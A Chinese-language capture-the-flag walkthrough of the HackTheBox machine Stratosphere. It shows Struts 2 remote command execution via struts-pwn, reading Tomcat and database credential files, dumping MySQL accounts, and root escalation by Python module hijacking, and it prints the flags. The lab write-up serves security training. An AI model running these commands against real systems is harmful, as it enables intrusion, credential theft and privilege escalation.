[Meachines] [Medium] Stratosphere Struts-2-RCE+mysql转存储+python三方库劫持
字数 966 2025-08-29 08:30:06
Apache Struts 2 RCE漏洞利用与权限提升实战
1. 信息收集阶段
1.1 初始扫描
目标IP: 10.10.10.64
开放端口:
- 22/tcp: OpenSSH 7.9p1 Debian 10+deb10u3
- 80/tcp: HTTP服务 (Stratosphere网站)
- 8080/tcp: HTTP代理服务
扫描命令:
ip='10.10.10.64'; itf='tun0'
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"
nmap -Pn -sV -sC -p "$ports" "$ip"
else
echo -e "\e[31m[!] No open ports found on $ip.\e[0m"
fi
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"
fi
1.2 Web目录扫描
使用feroxbuster进行目录扫描:
feroxbuster -u 'http://10.10.10.64/'
发现关键路径:
http://10.10.10.64/Monitoring/example/Welcome.action
2. Apache Struts 2 RCE漏洞利用
2.1 漏洞识别
通过URL中的.action扩展名识别出可能使用了Apache Struts 2框架。
验证工具:
whatweb http://10.10.10.64/Monitoring/example/Welcome.action -v
2.2 使用struts-pwn工具进行利用
下载利用工具:
git clone https://github.com/mazen160/struts-pwn
测试命令执行:
python3 struts-pwn.py --url 'http://10.10.10.64/Monitoring/example/index.action' -c 'id'
2.3 敏感信息收集
- 获取Tomcat凭据:
python3 struts-pwn.py --url 'http://10.10.10.64/Monitoring/example/index.action' -c 'cat /etc/tomcat8/tomcat-users.xml'
输出:
username:teampwner
password:cd@6sY{f^+kZV8J!+o*t|<fpNy]F_(Y$
- 获取数据库连接信息:
python3 struts-pwn.py --url 'http://10.10.10.64/Monitoring/example/index.action' -c 'cat db_connect'
输出:
[ssn]
user=ssn_admin
pass=AWs64@on*&
[users]
user=admin
pass=admin
2.4 数据库信息提取
- 列出数据库:
python3 struts-pwn.py --url 'http://10.10.10.64/Monitoring/example/index.action' -c 'mysql -uadmin -padmin -e "SHOW DATABASES;"'
- 查询users数据库中的表:
python3 struts-pwn.py --url 'http://10.10.10.64/Monitoring/example/index.action' -c 'mysql -uadmin -padmin -e "SHOW DATABASES;use users;show tables;"'
- 提取账户信息:
python3 struts-pwn.py --url 'http://10.10.10.64/Monitoring/example/index.action' -c 'mysql -uadmin -padmin -e "SHOW DATABASES;use users;show tables;select * from accounts;"'
输出:
username:richard
password:9tc*rhKuG5TyXvUJOrE^5CK7k
3. 权限提升
3.1 通过SSH登录
使用获取的凭据登录:
ssh richard@10.10.10.64
密码: 9tc*rhKuG5TyXvUJOrE^5CK7k
获取user flag:
931bcbf5736460e560bce0c4a2312acc
3.2 Python模块劫持提权
- 检查目标Python脚本:
cat /home/richard/test.py
- 查找可劫持的Python模块:
find / -name "hashlib.py" 2>/dev/null -exec ls -la {} \; -exec lsattr {} \;
- 创建恶意模块:
echo 'import os;os.system("/bin/bash")'>hashlib.py
- 设置环境变量并执行:
export PYTHONPATH=$(pwd)
sudo python3 /home/richard/test.py
获取root flag:
8d7e34dc0d82718cf7f15fa8b6113a1f
4. 关键知识点总结
-
Apache Struts 2漏洞识别:
.action扩展名是Struts 2的典型特征- 可使用whatweb等工具验证框架类型
-
RCE利用要点:
- 使用专门的利用工具如struts-pwn
- 命令执行后首先收集系统配置和凭据信息
- 重点关注配置文件(/etc目录)和数据库连接信息
-
数据库信息提取:
- 通过RCE直接执行mysql命令查询数据
- 注意数据库连接字符串中的凭据可能被多处使用
-
Python模块劫持提权:
- 原理: Python会优先从当前目录或PYTHONPATH指定的路径导入模块
- 关键步骤: 创建同名恶意模块 + 设置PYTHONPATH环境变量
- 适用于以sudo权限运行的Python脚本
-
防御建议:
- 及时更新Struts 2框架版本
- 限制数据库用户的权限
- 避免在配置文件中存储明文密码
- 使用虚拟环境运行Python脚本